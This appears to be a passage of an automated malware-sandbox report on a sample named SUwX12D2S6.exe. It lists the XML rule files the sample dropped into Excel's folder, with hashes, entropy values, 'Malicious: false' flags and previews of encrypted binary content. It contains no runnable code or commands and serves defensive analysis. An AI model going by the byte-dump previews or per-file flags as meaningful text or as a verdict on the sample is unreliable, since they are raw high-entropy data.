SHA-512:	0177C34E3E200AD805512ECF309762B1A788233BA3BD3568CBD7B8DAC66A7B457833629F7140CAB88E22024E742D5F27E3A2CDBB6EF7F2C5CB0644ECD4492A8D
Malicious:	false
Preview:	<?xml...h..5.b......N.R..M.`...R.C~.....&....$...Ts.O....m...:.=...V..Uy.....8.3....I,9B......l."1.>.K.pW[...).......~1..C.]?.....J.R....a...n.\......9..UW.m?...Q...usI.....q...v..@.......b.B[..H._..Gl..^e.t!..?q......,......!:^....?".....kW.d. ....(.+b%../.Q!....G.3.'....<........U&.9.:.@.TBV4...).E...}...b@.....0..\..m..frc_~Z...X...c...a.$A...3...?A...X..<..A..Z...2.]$...../]Q...T9`l.SW\.....7Z....O.TB.Y..;.3..>..q.a=M.m......hf..9Hz...\|!......bV.....A}S.s..g& .w0...x....wY..C...A..H>.g.t&.]. ..1.q..}...$.+.6)}...g..[.].\|C..x..@.w.g5oCr.3..$1..C.Ooc..y).=)....L!...L.M.B......C..k.e........b...f.a......K.#Te.2r...RP.gj.D..=.{.<.=.....'/C....Jz...{...Q..~D'!..;../.T\|.$./5.'.1.[a(..gkQ!....+......04b.$]z..UnA...n,..M.+.".mp...N.j..A.[}...vlD...<]?..\[t}.....UlHqS.;R.......$\T....R.c2.C...l.......r..i:..a..UB..I.&@(-.....:&....BJ3..!l....G..5.......9.d.^....J.yE.......K ...{....Qm..)#..F..=\|~...b...f..CW.......9...L.q.g.......%......%Q[..dB.w..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.7720228174593275
Encrypted:	false
SSDEEP:	24:znl3JEtDysufawpKNHy5db/nchn2n4Ol4sadCdVbD:53aUsufMVylnchn2nwvdCdFD
MD5:	3429987E8D47D749B674E76B88788344
SHA1:	86C3866BE6DDAEA2B510CB4882EDC3AF147826E8
SHA-256:	01DD7EC36FA7426F9EC24B6C79ABC76B395931813F4A9B26C1C7E92E671CEEDA
SHA-512:	EB1E402A3E9318564F53D786E885F5FFB7E5B741AACF5538255B68178DFB7311427BF229D6BE66EDA3926FE25AD3D0538982CBC145398D77737C3F12939A3BB7
Malicious:	false
Preview:	<?xml.,.14~..Nb..%t6...&...\|L.......FG.U..h....!...T5...P...Q[."...g.n.n.....p.{.U..oD...}..b.qk..n.&.z..............v....E.A4..q.Q..BH.v.9):..X....T..N.........{.#._..]ip..I,...."T...9.C8....!V\...ip 5.Yz......v.e...\|...Q..?T-..;.......I.c&...R`Ed5q.'8]`..zF...6.d7p.../3.S.o..v...f...=...d...y.....{..,`.Q.!K......p.'$Z7P.X..6......x.~........I...<..4ML.m...n.LX^P.=&..........."..w.....__..~}]g.`a.S9.y.=\|e.........P.u.b.}Y...!....$..V.}.....~.....>..y.._..+.f]........b..h..4.....^.Qj..C./..9.S.R.......e..........".k.....<.y.w4H">.=....o.s..../<.&y.~..$[..?=.XePy^M. .g.......P....j....0/9...s..j.QH 5ec....Z......\|.JM.qFo../Y..F..e^...U.ni.{?......cc..c.~v.i..b2..S.+...Q.j...w6y.qW.....9..`y.Yf...Y.Usgf.}Z....Wq.:..yJ..V......`.........;...!....M....>..9..Q]..\|.hM.{.Z..#.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.903888247747301
Encrypted:	false
SSDEEP:	48:dgO01ldFlMip4iytbWpUqnO6w+91kPtRcKmbFD:aTYiciUqL9q1Jmb9
MD5:	7F27426A733ED7CCE37FC880E3BBC6A7
SHA1:	C19CDE9375F9CE991DEAD7CD3C94AA7130115A8C
SHA-256:	5E1B8E3FC59A7C1B0A1E8FC4A121916805082B52BED99EDDFF3BCA7F3E692390
SHA-512:	0D2C04FAB998CD30FD52921880090C18805ADC0C217096D4CCC2863F92ACEE87B78CE149150556CCCF63196F7AA4A075E28847E2A506F5AE5E155B5BEA8A71A4
Malicious:	false
Preview:	<?xml..XS...\.....Kp(}..I..r.......9.....1..... ........o..?..h..\|....,.........).=.9..sy..f.9..F...(.0w....w...G.%s.......h..b-N2}..G......Vb...mb..R..-.'...s..s..`,.D.u....O%q.s..._..R..0o3..>....v.j.M~..e..ntL/....1G.~.....V.._.t.hp...I7...e8...#...j...P....?g)...1...............=74...5..=\|.' e..Y.@.i.D.F.@v).0..da.....#i0.2i....[.';....(.0...\6.f...:....G...n.Li.=.`..9....}l_..%M.....i..8.<.z#...G....G>!..,.]......%J\,<B.....ERIX'3...4.g....)..."....L.ti.C....J.u__2`6.u..'6`"...#......Z....ub....R.M....I...%.Vnh.P....@....m.<.e...o&...m..(..OJ..I.p......9/....M...\|...h..E.H.7.'.o.%9........e.N.G...K...M.....y'&.e.6r..0......V......7\...N_[b.\|vr......].d.....\.FU.....w"....z.^.N...Y...f+.T..L9.!YL..5,(.1.2......b..y...4..0...S.F[:[................'.......-..ek.Q(5.Y.Dd..=.....,Q&..2W.0b...0=..qw.%.d..F...2...v.@..M8...#...^.sF....@.........DA.a..U.5......*-..Px..4......Qr)...Y..V%X.@F.~...i.q.%(....@...P....R2.g.Z...o..#..v;L!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.8599297847129
Encrypted:	false
SSDEEP:	24:SPYS1ISwumvbJbINhiIKWPNHhVnS+z6tJCuTcxqJYwSj61+dapMRnVbD:S1VwuU1UviIX/V/6tJCipSj61+AyJFD
MD5:	346115EB450FB058D8B27C108A9C2B7A
SHA1:	5CF5F946BD3A79519DFF5B0E87746817FCFB651E
SHA-256:	83D8AC2D2E5F1B87F79F19D8303928310A12539AA7915E0350C60E731FFF01E9
SHA-512:	A4B81B2F1D81AD7A4334D67400BC5624BC5EC3FBFE6EEE5CE504E814A5DADE91D54653E04FADFB695A23F6A5468DB7610FDBD997CB0CF77EF0CE52412EF10B4A
Malicious:	false
Preview:	<?xml.5_..~P..(.~.^>=S...... ......in...F..dl...N.S.VE..kv./.?.Q.i2.Vg.b........L@.......h..\...Uqm.=.....a..M...h..U.[._..z.:.NL..tg&BCl.\q_d..0.yDTp\|lTW...b.&.6......b../\...R.\>.W./o.b}._.......IT.$..../G..x......b#UT.,.}.>PB.%.%#07)..$..>...r.(j...9=.:.G...~3..l.7..,....u..$......q+z....L]b.... ..IS[.......".U..=.e.R...u.V.\|.....6e~v....bq..,..^.n4F..S..Y...^6tE".?.....zF(3......d<.-..=P.Q.W.h....e-.g....{z1..6.Q&0!..n.......#.`0u,........I.....}+...F.J.3..FHn.......'t8..UK._ .....;.W...i.k......V....2Z.0z..`...4Lz..d;~.Nn....xt.6.......;/.,....t..C.#.f...%.P K...0!.@T....8.S..sU.y.ZP.t./...B.>.....UH[U....I<.!....+w1.".q../B.C.t....\...1..zX.JE...j/................i.J.&./..%..g..`r...L....v....A..........Q......A..~...$..w;..d...n......}.i..Pa,.......N.......e..y*.:x.t..^I......1.b.F....a9.......;X..........@e.O..J.b.j..uKW..'..Y.t...1.R..P{.f#.(g;....8...t.,e..S.q.M.M..BtS.Rr....\|m:...'........RLr8.....B.rT....3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.808542818645627
Encrypted:	false
SSDEEP:	24:9Z7s8C7BQJZgks8l5l0iKkHiQ/e16H6oxfN0im3dMPLEst5VbD:9Z7hC7GDRs8lzKkCxcH6oxV0DMDE8FD
MD5:	7F72A83E3D41738899E702E97A3BA0B8
SHA1:	F6200210E26F81D864356758CB52AA98B6232D92
SHA-256:	F0D53BBB955F9988615204B26D9A31852A22F09C0D3EAC2C92A2B515806C662E
SHA-512:	7A5D9AD5690762C4A571633A88A610F0C398A0B45DEA913B47656DAF34A884CE76902BC38CDA39B4C19360C47BFFB313C87E6730487DFC92C905184A19E841A9
Malicious:	false
Preview:	<?xml..5...aT..../..:..zpx..-..%h..H....7..A.Bm..W........cS...I..\..._....IE..P6.5..w...~.9#\.c,..eb.IK.1..P.....F'.........G...x...s(K!..B3..n....U.p.x....a!..........e.to... .".W...z..._.0.Y.W...=..d.D.a.'/.,C5(\|b..H...i..W....w...X.UY.>`.X..OJ.ko.v.../.$m..3.C.(......T.-k.^...b.+..s;.....A.:K.O..........V...w..Q.pl..pI..{u..O@X.B..1.v...............L.`@.-C...A.3u.K..3.r...C.......o.5dS.....z..}.?......+......',.7.^..U...N..e.r..z........fFo...*%H.D...g..w...&..,Y...../..0/.p7....Y.g5k....F]..A.cwI...d.X.e.P.../R9....c....,.k.....(z.....B.6qV...N....W.n......J].t.#h<......fb].6.( .D.`.}.....7;y:......L.c....;..zt.b....p.2..H.........x.. )\....X........... .Cs.2.Ja.....;..wG..@...?.m.J.....%.z....V...[S..z.e.B..<Z...O{..`....RE..K.t.\.H......p.T?...'..}U.+:..RMx....<..&..nR?X..XDY.%.I.........A..].%............h. ....';..}.l\He..^..U.M.;...]..d[..3'aU.A..Y......z...~.0.D}.\.0.....i1...].Q.._.I...g.I....,Y,TkT..&>.v...r...6AfP.J-....h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.689493109021626
Encrypted:	false
SSDEEP:	12:tbeQBgSa+1dqDGRYzLhg45vFXFsO6b3wNc5eO7qwAbrTRwWRLlTY6vVC4jVcii9a:tbbgSaedqDFZXnVsO6bANcwVwAbT06vx
MD5:	91F194E9F3F936E0D0B26288AE0B8B63
SHA1:	7C60137575CAECA7C18019B8DA94F53B287346DE
SHA-256:	2BD87EB432673B23A7884E9FA55EC93F512046D2375AF859204E6A48814BD802
SHA-512:	DFDAD4DF7490347D98EDAD14F105B26C2E2DC60348123185CFDAA288B64F86CFE0C46EB0AB3BA5DD10BF719482082DC1F0E2E5F5D4C461079A3FEDE57AE86D1B
Malicious:	false
Preview:	<?xml...$\|.?..Mr.)O....z.......#..d...~Z..i....".X:..D.G. ....Z..6..I:.d./...".Af.6\.N.......S.........8B2..OpJ...>K..7.vz.t..Q...7...6.J.......4............n..-........y....v..]~..:...>.........[:u+.s?.5...(..k.@]j..[\|.]A.T..X.g..l...).3...P..&j..%..w..X.'N...........$..m..H4>}.....H.p.T=.1.-z.>.{....(.g ....u+dE.:...~+P....f..]aw\i./{.Hb8...4.D ..E ....8Tfj.kjg.K..K..c....[....F..2...H... .y.....2.%..M....j.p..?.....6"O5!...>1.........T.sy.D....n.r..5.Z.D..M<.D.......`[.5m.G'.VU.E'N1X.......vg\|.......0.*e..e.X.&.7Z.c...q.s..IM.d......l.{.....QC6.h.z.....+..-.D.z..J.=...o....'.g..R.fs.....=.9.2d.>....U.]h2...iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.831198742326028
Encrypted:	false
SSDEEP:	24:4hb8h2XyJc5vcunyGBsx+ewb046RscA8gaPIdVbD:4hbDjnax+vcfgaPOFD
MD5:	23E0D335092EA16A1BC52FAFA89296B3
SHA1:	98FD15FF4D87D05C91884F169737EF4BC3A1BA15
SHA-256:	507228BAFEB586357E3B86C66F488BBCB926B6CBCD5243E18098D09AC8B458C3
SHA-512:	7A7888F7A3B28F308D731353241A495AC5A52DCF649772B4CE0940C15DBB8974BE24DD50D109E78658CE3BCE09C5DDCF23668988DA10E1F82A61B9FB0D671EED
Malicious:	false
Preview:	<?xmlV.h8....6...SaFn. .%.@{/.E.=.O&..r..).CR...=.w/..A.G..]~7._..yE..d.x.>.P....Lpx.7.^.1[..X...L."...{r.2...;q.X..).eV...B........}>....e.%..........9."P.I...Gl..MN[.f.........>.+.X.d..k.....{g..Ck4-..kl.......N.:Uj....K}..fBw...'..FD.!.T..<6Dch.D6]....u..E.GVLg....5.(.4.h&...9.6.....6P\|.....K...-..+.._=..V!@0..m;......{..\..UI.....#d2.\|ak.{..2.7..1..p!..3'..}V..a..GO.5....!'..S.Hl..]...,.d...0 ...C....~}.it.p..t....N.n..5Z#...-.xm........W.J...%.w..Gq..w..b.N...h.Ra.-0...i..T...m..~.W.....2J."..&_X.......R....Q...<..1)Ly....)....sj...G.-.tJ..U....K.i...jcJw.......3_.^...'\|^..XV!p.s..;.o.T.zy......>...,.u..4......,~.G.\X>.....9.1..:....7..9.5....1..K}....m..-k.v%.Q.pMY.!...4V.)1.G..5.d..L.XFD....!....*...&.`...E#;..Y. ..4g..iv....nT.A9.....N.= .5.5$8..K.4..0o..1.h.dD0#.#.R2..h...7>[\..M].M.I.V.@Q..ob..(..tqf....=I.Xr..-./...E..!X.G....".....\|.H.z.(v.Z.f....V.R.N...@...Z....?R.+....i.T.....".D{:&._#Fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.761738190630627
Encrypted:	false
SSDEEP:	12:ES9YYzoEP68wcvqzVXGjbGUVX2/aBOJ9+zd9mfFw+/AEZ16zlJttXbIl/UxjVciD:ES9acvNvq5XGkaBOHhYELylJbER+VbD
MD5:	5A2F4ACF5BFF9912304FDDF3186FC1A2
SHA1:	2711D01529C357B1AB4D6636F0D83D44A69E5D17
SHA-256:	53C80E08C16B9CC3095A73AEA178A2D3C38DD1CFAAA2A525F1DE443B0BC9D6C9
SHA-512:	40775B5F0E508E3890CD5937D6BFA26E0488F953D325CB05E11A1086692F6C52406E2C42A19A7A0EE492D1501B3D2E75AC8F67EE4B84F54AB8E3511FCA64FEDA
Malicious:	false
Preview:	<?xml...6j..yE........pI..t.tF.iy......>.l..j;t....n.p.......1.Z..W'.Q ...........,.Z+.3.K".U......IoK[.Y.b..q..q.W.Yk....D.("...=R..$..LD...5SML..R..78........a...8.X.....L....C{'c-\.0.#&Oi.^.......`.3.y.zE..I........M..~.. ...9.O_%$.w...y....dWM...W.....m..%...t...M.......5...r.{....Fo.J>._......? 7h.f...d..o......-}=,....z.O....;.K..o4)T..]+.i..Zn....L.Mig..y.!..~.<U.n9_b...e..-..wx.......ek.LN6..1...LF..8.DF.#.....a..Iw..4.W.....!.....]P}..C...'1_sb[..{...xV.X.Lb..`.7..K.X6qY.c......u+?.....=.I.,.".>p.X........J.n5......Z..[.......v8.....$ebeh.t.Y...gP.o.2.Tj...Lf..(]...n....@..!_.R'....\|.A..>...x..d...*tuN......Kk.>l{.TC..~...6.p.XM..{..[!../.p. =.f.#.V'..3.}..]Hv...?..S.......}..9B.'....[)...].9..Wt@.....4...1......k.......]hll'Q.03.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.848810092237034
Encrypted:	false
SSDEEP:	24:Dzbpnjgt5cfDoGNR7Z2nxT3KyPyvy4AbsTbbuaco3y/W7thlf0O7e3rZyVcVbD:vbps/GDRNGxrKyphaT3I8Pdpe3dhFD
MD5:	38586522FBB2F88BA09ECB70373864B9
SHA1:	CFE9F5666C84D59077182D220F71816375A1EBDB
SHA-256:	E9B513914F68AC8BF94F50CDC830BB37E58C4DDBC4A71540E8DB25693B3B796D
SHA-512:	ACAEAD3D2B216CEBCBB310297414482593AB28019C962DF7C739DF103A96F6EFCE982ED034D2D1E263FD9904E866907C3EDA0568BC58A8FB30A4578FF18B2AD3
Malicious:	false
Preview:	<?xml@.'.K...YVw.b........L%...2Z...........~=+f...c........U..v6.A-n8)...I.d#.,8..X..Z..t:.......I-...b...O2{+..q\....;......U\). .1.....!....4l..."...\|......t...u....2Z.$.@......-SP.Yw...?....c.=.".9C>..Z...M..\|+.`F..].i...}.{\|...xZ.p{...F....'o...{x..0.k>~h>f..v..L.S....5..6..{........b.1E^..H.AW....B.r..>b7....+.B.~.(.G.E}-.pf.]..#....-<2........N...s........].fMG...1..(V:.h...#.....@...~.k `.V...a..6@8(..4.SW....n....r...<.0k...,z....s...CN..v..!........g9..G:....?...g-.<..1Rp#..p.b.._...~...&. @q......._....v^.<........\N.L..a.......p......\|;..{.N..[\|J........yM.m@......\|...+.C{......'....Z..0.x...m....0.D..Lb./eW5.x.R....s.v.q....Xt...W......lg..c...'g.8."....H.\|..eV..x[.iw.X..%.H.Fx..K....)^.......u.Z......bs.h..:f.......>........kV.T.n....HS.3?..;..;....d_.s5[d).,.^p@k..Rx......2..t..A.L.n...bx....P..........1.,....w..6.W.....L/...a..f..?(.GE...I;.G...p...#oq...NW...sEU.b..}...&!h.u...2.?.uD<....<.#!..M..7...f.{..........v.......p..$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.901769951024738
Encrypted:	false
SSDEEP:	48:B1mvRLJvZEdcMmEoIWLVvSiK7a55OwOW892SI5oBIBrhT+O+CYED53ETFD:B18JvadcM5PWLVvSLa55Ow20SZorsO+T
MD5:	8723CABE0C1959DED3745AB76140F858
SHA1:	4059CD2342A9AA43FB634F43AFAB0AC01A075FF7
SHA-256:	1B5E37DFD55EBDC5F77FCF3AE3B747CD92299A480892ED422313EB1D26231C60
SHA-512:	DE8A78EFAA6039A1B24E09EDD41F8DC40FDE90625107BA804FE513898EEEEE475E6708A06EAC725DB5A9089F237BD4AA08F45C30890F29A15720BB0332C26FC9
Malicious:	false
Preview:	<?xmlc.H..P.k..x...D..Fa....u.d...b^.0..UI.v...XT.m"?.C.(.."w..r"....h4Z........6=.......i9..r.....,......&%..x.a.3.FJ...UG..^.:.........K...X.....L.....6.}.h..W.R..6..}A.70.AR.I....[.!.H...~..w..je.....k../..A.......WN....6t\|o.V}>T..F.(..o.../../.T..3.P./.k..<..l!7.N..8..n=.o+U..%`.....{~S..X%d~3...)\|?...R.......A.o....8.1...1..p.#B...:.#-.2.c.b7.7.[..pZ...5s...7.......\aO..8o....0Z.An....).Kf..UYJ...G..S.!\...0cb..].o..V....E.[...\|( ...........#.r.@zIH%.:..C..&..pL.@.q1.)\|......S...>G{6....V..Zb.z..tS.....LK..S..j.!T....CR..u..N...5st.RMm.QE........Z_.].Q.g.(.Y1.....qy..........+n...I.}c.......IO&. .F...u.r.....:...+0u.^.....d$9.C{;L.I9,..Y.a.n6Hw..\_.Q.U.=.FQ../(..Ez:.o...@...F!.M....9.S&i/..N.....H.2-V4.d)..-.w.h..JW'f.b.....5..C&....S.^....pC....=.WV....SbKJ...S.4..s....w.`%.c.....8.@(X.d..c...C...w....5....t.E.s-$.}....*w....+O= d.d....p.>T.T..&\....Q.N.....8.W4..b..5...<.m$Y.......lU...c@s.9X?M.N)......z#.a.0!O.Q.....}k...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.893309156367828
Encrypted:	false
SSDEEP:	48:UMK4hVHZ/wUDbbXs+PLdst2JOsz28i8zehF2FD:DK8ZIUDblPLdn8pHs9
MD5:	927E3FA2A42A36DD5495D07C3E5365EB
SHA1:	EC6366512AF997D013434F459D680DB50F17DF8C
SHA-256:	0AB29838FB36E578314A2ECC777C4C851E2353EA023AC09A8C3670B682BD8080
SHA-512:	7EDADBB0A482E41AF2732D654A39AD9DAE1481C6F8360F418F5A8238A40AE65400512F4C93751F5B7AFF4F4B93D9EB545C585BBE3E218122D04AD35D533C3390
Malicious:	false
Preview:	<?xml..7FS....6F}>.....S.Z.....y...W..p...y.x{......l...x........i.h.#..?!->qL,....^.....{:......<.}.k..9mU4....G,,.t.._.....G.........0.......D.v.3....C.{..,SL@..]..@......2.a...6..O..^H....v...N^..d.m..p.7.lqN...\b......[......<Y?..Wp..{.......q...73.!.. .ls..f...I.T..;..)..-.M.~t..f.....h.,".S.g.F.I.,.X...&kp.4'.U...!. o`.U...9&...Z!).4....n)'.T..."o.b.rL...S..l..m$.,...F.h....59.%.[.R...x...WD"6....-V........z2.4uv....~L...D\A .....}...&.Q..-.....l.F..x6.F ..Rt.......P..z"%...wb..`.4..@uW.wG=QcD..[.....O.I..Y.8.mB\...`6..T]a..}#.,..9.jQ..AkOv.pFAuL....r.e..F..K.....o...X5~......{!<<_^.i....[W........?.{:.......`L..<.l.~..DN...@...{.....IZ....O.]......CX..vZ7$..6A......lT4j`.6....3.x..G.@...Z9~{.2.Pe...^.....?.4.5...[...L...........%.uI..]._q......5."...8-4.:@....B3.y.+.:.y..TAj...J....2.A.C^.8r.yT%u...".M..zk...p.5...r{5L......X..).B.@l..r._..(.LU..../...!h..7...\.....pi.....95.<..d..X..'O.........t4.........o8.>..h}1#<......0..m{..Z.=...8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.787572685631796
Encrypted:	false
SSDEEP:	24:CivfaabldTO9X8KQo+4MxTHOXEbHPX5LMP/0dStrX4C23oVbD:CUdhd6SKQH40THE2v5MtrnnFD
MD5:	EEE2DD82012E88F483CF89113F268C5D
SHA1:	03C4D701A92837D965C278028E57B1F592F6329D
SHA-256:	1BDB21DDB80370F631169AD083EDEB7161C0A253959B4F8B1D7F9FD86B11B19C
SHA-512:	56FD8AD6FB0FE9F2E80F7B898C916B323610E578E5EACADDE68FDF3AF72EDD6F17E5629F3847D5E96985B7EEAD70B2D16A17D1299F9E1F852F553A0632F2AB47
Malicious:	false
Preview:	<?xml...YMFo.........hc.......r.A..$./Bp../..#.,l~w1.....'..D..Y:.k.3M..S.^..`..r.V+..?.........$.cj.'........,.]3x....F.....g.zV;\#..E.9.>.U...B..bX.............T.......a/.q..'x.(,.... ..l..Q.0I.K..p;....]V...2..e....S...8........%..Ln.[..&.o .&p..A..<......X.....!\....dr.$.9...._N.V.k...0\U...?N...>....8..[.m..c. ....]...<I.....}..9...5..[.....].\....d.....Zbf........>"H.t<~.......nCY......nB..e..5..GJC.....^....+#N...]k.j...i.).y.K.......)..A.X...D....<...y..\|..,..5..u.U..$.Nw..i..n.o.l....l.jd<...--....q.Z...0....F.2S%..8...3...n...j.p/......F..q..e.....:>........1..,.m.......Rc.^.Q...v..j4...wU#.........b)..Z.r.?.~...$........x.d..'p....}.D}...s...[..A.......H.F%{..u. @+..a.8q.G....y.`.....~......g.S.I...1..........;g.O..$...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.6707527881051645
Encrypted:	false
SSDEEP:	12:8nNc4IZ2liTL5lhAy9h4njPU1IgMYQgOjIUe0wuMSbu4z4vppempYDe9UoOxjVcq:8ZGCivjhAyonj+QgC+0wM64cx6DyncVX
MD5:	4AB389EC9E169D329C2C99921F2C5A3C
SHA1:	A25BD295B78AE245E95D59278304164FBD10DAA5
SHA-256:	2FC6BABCCC0CC8E0D76B660E4E272FC4AD9AA869817EB93329C670AADC68F533
SHA-512:	8F362E18E016AD9E405338A23DA1250F8ADD6AD0C194AADC6CB63567FC7751F6897547A3C9C25321512948BB4FC4F21D501DDD928E9194C841BAFC41008AA2AD
Malicious:	false
Preview:	<?xml\|.\|.,c.B..s.S..2......n!.....t..~..X......;F.?..Q.0e..,lP6..o%...\|...Q..,...!....aS..g.h.......{F..9.G.K. -QuDA..F...-6'..u.. .......d.....v.?..b..P.3H)d..dP.{fw......?..O.....&.^..0.}.._.D.;.{...fF.=.Lj..2I.n,...F..k0...5.......pp...~KE...L...<..d........6.[v.tk."..a.G.oQ.....5..8.p.......... ..V.....GwA...Nl....9.m\|g...........!.p.5...Y..C..0k.$.. A8...._...qB.....O..u.......^...3..I.W....l..c..<-.....{..1...M..N.,.E.K...!....iE..0....E.'...E)f%..CM5R..>..b..3..".....]...dV`......X$.&.i...\..Af....?r.....Q....."Q.....c>&Rt..U..sFs..^J..o..o..,.@...4.*...D?k..(..k.g.....oqs.!.w..a....O,=.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.877088655611259
Encrypted:	false
SSDEEP:	48:+2W27Z27bxIJ37Ms/6r6XYA088rZZR2FRWUCzFD:+2WK2/xIJ3AZqYHR2FsL9
MD5:	C1E4996C173508E05F11E7BF409C7DE4
SHA1:	D925EB7630C36EE0BFAAF555C1E9A2E31A47A8B3
SHA-256:	99C70B83944DC39C581FF104935D3B8912F16E7835C3C1858AC561003FE5C2DF
SHA-512:	96F7F8B318186D773106CAA674F8453E108115231E9C4C1D69EA5D200AA213F7FAABB71F520FDB3158994462BC226C88F68F907D165342FB32ADF1E520C940A6
Malicious:	false
Preview:	<?xml.T..N.......'....Q.....oR..-..)..f..._..T.M..t....q...!.,...).......z.R.w.6..D...u.5jw...?[..U~?...KU.....Zu".S..C..&.7......z...........'."p_..7.S.Q..1.G!.=..\|..[#..x..'.XJ=..}(].&.H.[.\|.._..+j.......6y..q...].M~}..rZA.L.U...&.~.!..G9.<..h...6[...T.<...S.2,..sJ.................jM)..eI).3.'.X%.F....../..G....{...&y....Nt...I...f...v.\|..Y...Tv{......jX.vk.G.a..Z..a....Bt....j#lm.:......q...F......H.P.!'.K..{dY..n...._....{....ac.d.8.)!..$\|..#..A^%.CF.,..n.p/..+@......:.rk..C.....]i.<P........H.I.z.!.Im.+!...Q...`.'.......C..F{.7.-.M.aR.+..N7..u._.buy.\|...:.$..M.=...S.@g.o....L.~ai)..2U....+S.{..D..)......4.8....#.n..R=..D.nV.c..z...IA%2.h.....E...w.'W.e...;.R.......26.d.3..-v.....V.g.HR..:wTG.T..#...V...x.l."..GN...E.!.p...z........y...,h....,..T3.}......:.......f.._\|n......._P8F..G...}W9<.N..=..Q...../.....:.]..R.o...W.'.W.k^.<.........vl.....m.O.^..(B....#.a"y+.1....E..i.3I C.."..^.............cV#.@....k.*..}....H\|..@..>...5..c.%.{>...:3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.85769946611252
Encrypted:	false
SSDEEP:	48:WXt8GRG8FItThpfd18skRDpBGI/HtV+ZPh0FD:8fGaId1cFNV/Lmq9
MD5:	37CA9DFD90D05EB134EA0E22481287CA
SHA1:	7DDB035923E53333695CAF5B3C14DBFB3C5DEAF3
SHA-256:	C3D4EDDBB569E74F89700C71519C594FA0057DE4B28EBE5B6E727000D02BA683
SHA-512:	3DA9DE175CDC859362058341F35E1CCC1C559703531CA06595049228DB1E17723B08F4BA05DBC30608D8C4F7E1AE9E59131323EF2B126A88F4E0189E881B6272
Malicious:	false
Preview:	<?xml..?].e.DQp..e.N..q..C.f..W=...x-...mdwD..k........T.....@".......;..K;'k....Iy.e.\......u)D.q......,. 5..X..<...(.....+..32...{01.=_3.../TyM.A..0..\.1Y.........a...ao.@..5.)..5.#.&%...h..net,....q.........qnD'.....u.Eq[.2....aE$...x..'/...{........(.=9....r..k.\|.M..`,..^.R.Z..B.b@.y@...&.`.....r.6+.MB%...H.,w@H.l...\!.6q._W...={..J...y.\|...Ji....../.u.N..g..0...f...dh.C..rc..9h..Jhe.....\|8....o.T.m%D.tn\..'...P...!\..`..\J...\|F.&..2..T4. h...U...b.?t.+.t>...0xl.^.M..P.....G..G.....cO7`q.....0.'..e..O.Ts....e.......p...mWUS.x......../.1x. ..%....+P...9....H,........../i...3<R....v...'3$4...@.N_.{?...w...Q..DY.......i......r2<i.+?...n..........K..VN.G...S,.E:\|....I......U;/~.k......... .f.H.~lo.V5./x..%......R.2.xz.Pxw.... ...~.H[..W;..m...cCH....^6B.!}*H{... 